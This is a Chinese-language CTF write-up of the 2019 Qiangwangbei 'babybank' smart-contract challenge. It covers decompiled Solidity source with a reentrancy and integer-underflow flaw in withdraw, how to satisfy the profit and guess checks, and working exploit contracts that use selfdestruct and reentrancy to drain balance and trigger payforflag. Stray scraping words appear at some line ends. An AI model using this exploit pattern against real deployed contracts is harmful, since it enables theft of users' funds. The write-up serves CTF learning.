2019強網杯CTF智能合約題目--babybank wp及淺析併發
ps:本文最早寫在個人新博客上,後面會以新博客爲主,看心情會把文章同步過來app
使用OnlineSolidityDecompiler對合約進行逆向,獲取合約源碼僞代碼函數
參考其餘師傅的分析,貼出美化以後的合約源碼ui
pragma solidity ^0.4.23; contract babybank { // 0xe3d670d7 0 mapping(address => uint) public balance; // 0xd41b6db6 1 mapping(address => uint) public level; // 2 address owner; // 3 uint secret; //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough. //Gmail is ok. 163 and qq may have some problems. event sendflag(string md5ofteamtoken,string b64email); constructor()public{ owner = msg.sender; } //0x8c0320de function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] >= 10000000000); balance[msg.sender]=0; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); } modifier onlyOwner(){ require(msg.sender == owner); _; } //0x2e1a7d4d function withdraw(uint256 amount) public { require(amount == 2); require(amount <= balance[msg.sender]); // 重入漏洞 address(msg.sender).call.gas(msg.gas).value(amount * 0x5af3107a4000)(); // 整形下溢出 balance[msg.sender] -= amount; } //0x66d16cc3 function profit() public { require(level[msg.sender] == 0); require(msg.sender & 0xffff == 0xb1b1); balance[msg.sender] += 1; level[msg.sender] += 1; } // 0xa5e9585f function xxx(uint256 number) public onlyOwner { secret = number; } // 0x9189fec1 function guess(uint256 number) public { require(number == secret); require(level[msg.sender] == 1); balance[msg.sender] += 1; level[msg.sender] += 1; } // 0xa9059cbb function transfer(address to, uint256 amount) public { require(balance[msg.sender] >= amount); require(amount == 2); require(level[msg.sender] == 2); balance[msg.sender] = 0; balance[to] = amount; } }
合約初始狀態無ETH,沒法執行操做,故需讓合約地址擁有必定量的ETHthis
而合約代碼中並無相關能夠轉入ETH的操做,所以只能經過帶入ETH執行自毀讓ETH強行轉入合約地址中spa
構造自毀函數kill3d
function kill() public payable { selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f)); }
帶入0.2ETH利用kill函數自銷燬,強行向合約轉入0.2ETHcode
合約發起sendflag
須要超過10000000000
的tokenblog
而withdraw
函數存在重入漏洞以及整型下溢出token
但限制了一次只能取款2token以及取款者帳戶token須要大於等於2
再來看如何增長token
增長token的函數只有profit
和guess
兩個函數
profit
函數驗證地址低4位爲0xb1b1
;且只能在初始狀態即level=0
的時候調用一次,調用一次以後level
提高爲1,balance
+1
guess
函數會驗證secret
值,而secret
值由只能合約全部者調用的xxx
函數賦予;且須要level=1
,調用一次以後level
提高爲2,balance
+1
那麼函數調用流程就出來了,先profit()
再guess()
profit
函數的繞過,可經過vanity eth獲取一個符合條件的地址
guess
函數的繞過,secret值在合約交易信息中可找到
合約部署者的最後一次交易事件中,InputData
函數選擇器中,前4個字節0xa5e9585f
爲xxx
函數的函數簽名,其參數就是部署者調用xxx
函數所傳入的參數,即爲secret
值
至此,經過了profit
,guess
,知足withdraw
的取款條件
因爲withdraw
函數存在重入漏洞以及溢出
構造攻擊合約,利用重入漏洞以及溢出可獲取鉅額代幣,併發起payforflag
操做
pragma solidity ^0.4.24; interface BabybankInterface { function withdraw(uint256 amount) external; function profit() external; function guess(uint256 number) external; function transfer(address to, uint256 amount) external; function payforflag(string md5ofteamtoken, string b64email) external; } contract attacker { BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f); uint private flag = 0; function exploit() public payable { target.profit(); target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca); target.withdraw(2); target.payforflag("hunya", "hunya"); } function() external payable { require (flag == 0); flag = 1; target.withdraw(2); } }
合約交易記錄中可看到一系列操做,最後的一個交易是將合約中的ETH所有提現到合約全部者地址中,應該是清空ETH爲了讓下一個作題者又從合約0ETH狀態開始作
查看事件記錄,已有sendflag
事件